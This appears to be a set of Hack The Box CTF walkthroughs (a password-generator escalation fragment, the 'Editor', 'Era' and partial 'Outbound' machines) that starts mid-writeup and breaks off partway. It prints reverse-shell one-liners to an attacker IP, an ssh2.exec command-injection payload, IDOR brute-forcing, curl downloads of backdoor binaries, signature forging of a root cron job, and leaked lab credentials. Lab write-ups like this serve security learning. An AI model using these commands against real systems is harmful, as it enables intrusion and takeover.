The password generation uses the standard rand() function seeded via srand(), which is not designed for security purposes. It exhibits predictable output patterns, weak lower bits, and easily reproducible sequences. Even if seeded correctly, rand() remains unsuitable for password generation. Combined with the truncated and time-based seed, an attacker can replicate the algorithm and regenerate the password with minimal effort, fully compromising the mechanism.
Grepping /etc/passwd for shell users, we spot root, neo (UID/GID 1000), and morpheus (UID/GID 1001) β hinting neo might be the intended escalation target.
Viewing the full decompiled dark.c source, we see a predictable password generator using srand(param_1) and rand() % 62 over a fixed charset, seeded directly from the command-line argument.
Running gcc on the decompiled dark.c, we hit an integer overflow warning on the line generate_password(1725028842*1000 + add) β a classic seed manipulation hint.
Executing our reconstructed dark binary, we successfully generate a password like L70f2aFEohexXuk07tEwβ¦ β proving our reverse engineering is accurate and ready for seed brute-force.
Dumping our local dark binary output to pass.txt, we prepare the reconstructed neo-password-generator for transfer and analysis. Spotting the overflow in the seed calculation, we realize 1725028842 * 1000 overflows a signed int, giving us a predictable negative seed range to brute-force neoβs password.
Authentication as neo
Testing multiple generated passwords via ssh, we see a long list of failed Paramiko errors until the correct one grants βLinux β Shell access!β.
Successfully authenticating as neo, we bypass the banner errors and gain a stable shell on neo@10.10.11.63.
Running sudo -l as neo, we discover the nuclear option: (ALL : ALL) ALL β neo can execute any command as any user, including root, without a password.
Switching to root with plain sudo su as neo, we seamlessly become root at /home/neo# β confirming neo has unrestricted sudo access.
Escalating instantly as neo with sudo -s, we drop straight into a root shell at /home/neo# β no password needed.
Catting root.txt from neoβs home as root, we uncover the root flag
In this write-up, we will explore the βEditorβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βEditorβ machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.
Root Flag:
Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 β standard secure shell service for remote access.
Port 80 (HTTP): nginx 1.18.0 (Ubuntu) β web server acting as reverse proxy, redirects to http://editor.htb/.
Port 8080 (HTTP): Jetty 10.0.20 running XWiki β main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.
What is XWiki?
XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.
Web Enumeration:
Web Application Exploration:
Perform web enumeration to discover potentially exploitable directories and files.
Landing on http://editor.htb, weβre greeted by the homepage of βSimplistCode Proβ β a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.
Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro β confirming the actual editor runs on an XWiki instance at port 8080.
After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.
CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters
This version is vulnerable to CVE-2025-24893 β an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.
Testing the exploit syntax first β the script help shows mandatory flags -t (target URL) and -c (command).
Setting up our listener with nc -lvnp 9007 to catch the reverse shell.
We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c βbash -c βbash -i >/dev/tcp/10.10.14.189/9007 0>&1β³β -e /bin/bash
Unfortunately, the CVE-2025-24893 exploit failed to pop a shell β no connection back to our listenerβtime to pivot and hunt for another path.
The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c βbusybox nc 10.10.14.189 9007 -e /bin/bashβ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc β¦ -e /bin/bash, and gave us our reverse shell as the xwiki system user.
Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893
Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) β the exact user running the XWiki Jetty instance. Initial foothold achieved!
The shell is raw and non-interactive. We immediately stabilize it: which python3 β /usr/bin/python3 python3 -c βimport pty;pty.spawn(β/bin/bashβ)β Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ β full TTY achieved, background color and everything.
Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied β no direct access yet, but we now know the real target user is oliver.
Quick enumeration with find / -name βxwikiβ 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms weβre deep inside the actual XWiki installation running under Jetty.
ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml β this file almost always contains plaintext database credentials.
hibernate.cfg.xml credential reuse on editor machine
Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.
cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo β plaintext password for the XWiki database (and very often reused elsewhere).
While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure β wrong password, but we now know the exact target user is Oliver.
Attempting to SSH directly as xwiki@editor.htb results in βPermission denied, please try again.β (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.
SSH as oliver
From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb β password theEd1t0rTeam99 β clean login
User flag successfully grabbed! Weβre officially the oliver user and one step closer to root.
Escalate to Root Privileges Access on the Editor machine
Privilege Escalation:
Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.
Only oliverβs normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.
After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries β the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.
Linpeas Enumeration
Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).
As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms itβs running and scanning.
LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows weβre in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.
The key section βFiles with Interesting Permissionsβ + βSUID β Check easy privescβ shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.
Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.
why Nvme?
We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesnβt clash with real system binaries, making it the perfect stealthy replacement. Upload β overwrite ndsudo β wait a few seconds β root. Simple and deadly effective
curl our compiled nvme from the attacker machine β download complete
chmod +x nvme β make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally
When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with βnvme : not available in PATH.β This is expected because we havenβt overwritten ndsudo yetβitβs still the original binary, and our nvme isnβt in the PATH for this test command. Itβs a quick sanity check to confirm the setup before the real overwrite. Next, weβll copy nvme directly over ndsudo to hijack it.
An ls in /dev/shm now shows nvme is missing β we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and weβre back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.
We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root flag captured! With the Netdata plugin overwritten and triggered, weβve spawned our SUID shell as root. Machine fully owned.
In this writeup, we will explore the βEraβ machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βEraβ machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1β5000, two admin-uploaded archives were retrieved β a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.
Root Flag:
While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attackerβs machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy βadd-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Nmap Output:
Analysis:
Port 22 (SSH): Secure Shell service for remote access.
Port 80 (HTTP): Web server running Apache.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.
Gobuster DNS scan on era.htb finishes with no subdomains found β clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.
Discovering the Hidden Virtual Host with ffuf
ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β jackpot! Thatβs our real target. Add to /etc/hosts and move in.
ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β jackpot! Thatβs our real target. Add to /etc/hosts and move in.
ffuf with -fw 4 (filter responses with exactly 4 words) nails it β file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, thatβs our hidden subdomain. Add to hosts and go!
Exploitation
Web Application Exploration:
Accessing http://era.htb shows the Era Designs homepageβa clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and βSUCCESS OF YOUR BUSINESSβ text with a βFIND OUT MOREβ button.
Burp shows a clean GET to http://era.htb β 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled βEra Designsβ with no forms or backend endpoints β just a static landing site. Nothing juicy here.
Clean βWelcome to Era Storage!β page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.
Very minimal registration: only two fields β Username and Password. No email, no captcha, no security questions during signup.
Forgot-password bypass: enter username and answer the three hardcoded questions (motherβs maiden name, first pet, city of birth).
Classic centred login box with Username + Password on a blue-green gradient background β the page weβre redirected to after registration.
Successful POST to /register.php β 200 OK + automatic redirect to login.php. Account creation confirmed.
After picking a new username (e.g., βdarkβ), registration succeeds and the app displays: βRegistration successful! Redirecting to login pageβ¦β β account creation is instant and working.
POST to /login.php with username=dark&password=admin123 returns 302 Found β Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the βdarkβ user.
GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: βEra β Manageβ).
The main post-login page βManage Your Files & Settingsβ shows:
Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
Main area: auto-delete timer setting, empty file list (βYou havenβt uploaded any files yet.β), Reset Security Questions button This is the fully authenticated user panel β our foothold is confirmed.
Malicious PHP Upload β Direct Shell
Authenticated view of /upload.php. Simple file upload form titled βUpload Filesβ with a βBrowseβ¦β button (currently βNo files selected.β) and a blue βUploadβ button. No restrictions visible on file type or size yet.
Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit β this is just confirming normal upload functionality works.
After uploading dark.txt, the app redirects to /download.php?id=6615 and shows βYour Download Is Ready!β with the filename and a download button. Key observation: files are accessed via a numericid` parameter β classic candidate for Insecure Direct Object Reference (IDOR).
After clicking βUploadβ, the app displays a green βUpload Successful!β banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID β setting the stage for IDOR testing and potential privilege escalation via file access across users.
Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected βYour Download Is Ready!β page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.
Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=βdark.txtβ This is extremely useful for scripting/automation because we get the raw file without HTML.
Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other usersβ files.
Database Leak & Credential Extraction
Final setup in Burp Intruder:
Target: http://file.era.htb
Payload position marked on the id parameter (id=6615 β id=Β§6615Β§)
Payload type: Numbers 1 β 5000 (simple list)
?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.
Burp Intruder attack against download.php?id=Β§Β§&dl=true using the 1β5000 payload list. All responses are 200 OK and exactly 7969 bytes long β including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to β confirmed horizontal Insecure Direct Object Reference (IDOR).
After confirming the IDOR on download.php?id=, we generate a list of IDs 1β5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.
Insecure Direct Object Reference (IDOR)
Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.
Response headers confirm weβre downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).
Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script β likely for code signing or authentication.
Response forces download of signing.zip (2746 bytes). This archive contains the adminβs private key (id_rsa) and a script β the golden ticket for SSH access as the admin/user.
Source Code Review β Key Vulnerabilities Exposed in the Leak
After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.
This is the full source code of the Era web application, straight from the adminβs upload (ID 54). Key files visible during extraction:
The database (filedb.sqlite) to dump credentials or session secrets
Exact knowledge of how the IDOR works internally
This is the live SQLite database powering the entire Era application β straight from the adminβs site backup we downloaded via IDOR.
Weβve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:
users β stores usernames, password hashes, etc.
files β maps numeric IDs to real filenames and owners (confirms the IDOR logic)
After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email βMaria Oliver | Ottawaβ. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we donβt even need to crack anything β the signing.zip we downloaded via the same IDOR already contains the adminβs SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. Weβre now one ssh -i id_rsa admin@file.era.htb away from both flags.
Cracking the Leaked Hashes with John the Ripper
We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the adminβs: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.
John instantly cracks two weak passwords:
america β eric
mustang β yuri
The rest (including admin) remain uncracked in the short run.
Both attempts fail with Connection refused.
This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH β the server is correctly hardened against password auth.
Alternative way to obtain the user flag
This is the βUpdate Security Questionsβ page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin
The server happily accepted it and responded with the green banner: βIf the user exists, answers have been updated β redirectingβ¦β
This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone elseβs answers (including the adminβs) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.
Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.
Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: motherβs maiden name, first petβs name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.
The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently presentβsite-backup-30-08-24.zip and signing.zipβboth of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.
FTP Enumeration (Local-Only vsFTPd β Optional Side Discovery)
Attacker logs into the targetβs own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.
Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.
Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:
000-default.conf (1.3 KB)
apache2.conf (7 KB)
file.conf (222 bytes)
ports.conf (320 bytes)
Gaining User Shell β ssh2 Stream Wrapper RCE
After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.
The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded β but completely unnecessary for either the user or root compromise.
Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHPβs ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.
This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c βbash -i >/dev/tcp/10.10.14.189/9007 0>&1β followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.
Attacker stuffs this tightly-encoded string into the format parameter:
Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;trueβ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.
PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.
On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)
Eric managed to read user.txt and obtained the flag
Escalate to Root Privileges Access
Privilege Escalation:
Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.
Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.
Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention β custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.
Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.
I runs strings monitor. Among normal library calls, two crucial strings appear: β[] System scan initiatedβ¦β and β[] No threats detected. Shutting downβ¦β. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.
I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints β[*} System scan initiatedβ¦β, then β[SUCCESS] No threats detected.β β confirming it is a scheduled root job and the real escalation target.
Custom Binary Signature Bypass
We tries to open a file called dark.c inside /dev/shm but vi fails with βcommand not foundβ. This reveals the reverse shell lacks a proper $PATH and most binaries β a common issue with raw /dev/tcp shells.
On the attackerβs local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.
On the attackerβs local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor β a perfect drop-in replacement for the legitimate monitor program.
I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attackerβs web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).
The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.
Command such as objcopy βdump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binaryβs .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.
I runs objcopy βadd-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.
To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.
The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.
Root reads the final flag immediately after gaining the privileged shell
In this write-up, we will explore the βOutboundβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βOutboundβ machine from Hack The Box by achieving the following objectives:
User Flag:
The initial foothold was achieved by exploiting CVEβ2025β49113 in Roundcube version 1.6.10 using Tylerβs valid credentials. This vulnerability in the file upload feature allowed remote code execution, enabling a reverse shell that was upgraded to a fully interactive shell. Investigation of the Roundcube configuration revealed the database credentials, which were used to access the MariaDB instance. Within the database, Jacobβs encrypted session data was located and decrypted using the known DES key, revealing his plaintext password. Using this password, SSH authentication was successful, providing access to Jacobβs environment and allowing the retrieval of the user flag.
Root Flag:
Privilege escalation was identified through sudo -l, which showed that the user could execute /usr/bin/below. Research revealed that the installed version of below is vulnerable to CVEβ2025β27591, which involves a world-writable /var/log/below directory with permissions set to 0777. Exploiting this vulnerability using the publicly available Python PoC allowed execution of commands as root. Leveraging this access, the root flag was retrieved by reading the /root/root.txt file.
Enumerating the Outbound Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22: Running OpenSSH 9.6p1, providing secure remote access.
Port 80: Running nginx 1.24.0, redirecting to the Roundcube webmail portal.
Web Application Exploration:
Accessing the http://mail.outbound.htb portal reveals a Roundcube Webmail interface. We can proceed to log in using the provided credentials.
Entering the Tyler credentials allows us to access the Roundcube Webmail interface.
After accessing the email portal, the inbox appears to be empty.
Roundcube Webmail 1.6.10 service enumeration and analysis on Outbound machine
After logging in, the first step is to check the Roundcube version. In this case, it is running version 1.6.10.
Another way to verify the version is by checking the information embedded in the pageβs source code.
After doing some research, I discovered that this version is affected by a known vulnerability, identified as CVE-2025-49113.
CVEβ2025β49113: Critical Vulnerability in Roundcube on Outbound machine
CVEβ2025β49113 is a serious vulnerability in Roundcube Webmail versions up to 1.5.9 and 1.6.10. It occurs in the upload.php feature, where certain input parameters are not properly validated. An attacker with valid user credentials can exploit this flaw to execute arbitrary code on the server by sending a specially crafted payload. This can allow the attacker to run commands, install backdoors, or take further control of the system. The vulnerability is particularly dangerous because it requires minimal technical effort once credentials are obtained, and proof-of-concept exploits are publicly available. Applying the patched versions 1.5.10 or 1.6.11 and above is necessary to secure the system.
How the Exploit Works
The script begins by checking whether the Roundcube instance is running a vulnerable version. If it is, it continues with the login process. Once authenticated, it uploads a normal-looking PNG file to the server. During this upload, the exploit carries out two key injections: one targeting the PHP session via the _from parameter in the URL, and another that slips a malicious object into the filename field of the _file parameter. When combined, these injections trigger code execution on the server, allowing the attacker to execute commands remotely.
This command runs the exploit script and requires four arguments: the target Roundcube URL, a valid username, the corresponding password, and the system command you want the server to execute.
The upload went through successfully.
Unfortunately, it didnβt produce any outcome.
I changed the payload to use a base64βencoded command.
I couldnβt locate any files related to the configuration.
Since the application uses Roundcube, letβs check for the configuration file at /var/www/html/roundcube/config/config.inc.php.
This configuration file defines the essential settings for the Roundcube Webmail installation. It specifies the MySQL database connection using the credentials roundcube:RCDBPass2025 on the local database server, which Roundcube relies on to store its data. The file also sets the IMAP and SMTP servers to localhost on ports 143 and 587, meaning both incoming and outgoing mail services run locally, and Roundcube uses the userβs own login credentials for SMTP authentication. The product name is set to Roundcube Webmail, and the configuration includes a 24βcharacter DES key used for encrypting IMAP passwords in session data. Additionally, the installation enables the archive and zipdownload plugins and uses the elastic skin for its interface. Overall, this file contains the key operational and securityβsensitive parameters needed for Roundcube to function.
The commands show a successful login to the MariaDB database using the roundcube user account with the password RCDBPass2025. After entering the password, access to the MariaDB monitor is granted, allowing the user to execute SQL commands. The prompt confirms that the server is running MariaDB version 10.11.13 on Ubuntu 24.04, and provides standard information about the database environment, including copyright details and basic usage instructions. This access enables management of the Roundcube database, including querying, updating, or modifying stored data.
The commands demonstrate exploring the MariaDB instance after logging in as the roundcube user. First, show databases; lists all databases on the server, revealing the default information_schema and the roundcube database, which stores the webmail applicationβs data. Next, use roundcube; switches the context to the Roundcube database, allowing operations within it. Running show tables; displays all the tables in the database, totaling 17, which include tables for caching (cache, cache_index, cache_messages, etc.), email contacts (contacts, contactgroups, contactgroupmembers), user identities (identities, users), and other operational data (session, system, filestore, responses, searches). These tables collectively manage Roundcubeβs functionality, storing user accounts, session data, cached messages, and other configuration or runtime information necessary for the webmail system.
This snippet appears to be a serialized Roundcube session or user configuration for the account jacob. It stores settings such as the user ID, username, encrypted password, IMAP server details (localhost:143), mailbox information (e.g., INBOX with 2 unseen messages), session tokens, authentication secret, timezone (Europe/London), UI preferences like skin and layout, and other session-related flags. Essentially, it contains all the data Roundcube needs to manage the userβs session, mailbox view, and preferences while interacting with the webmail interface.
Creating a Python script to recover the plaintext password from encrypted session data.
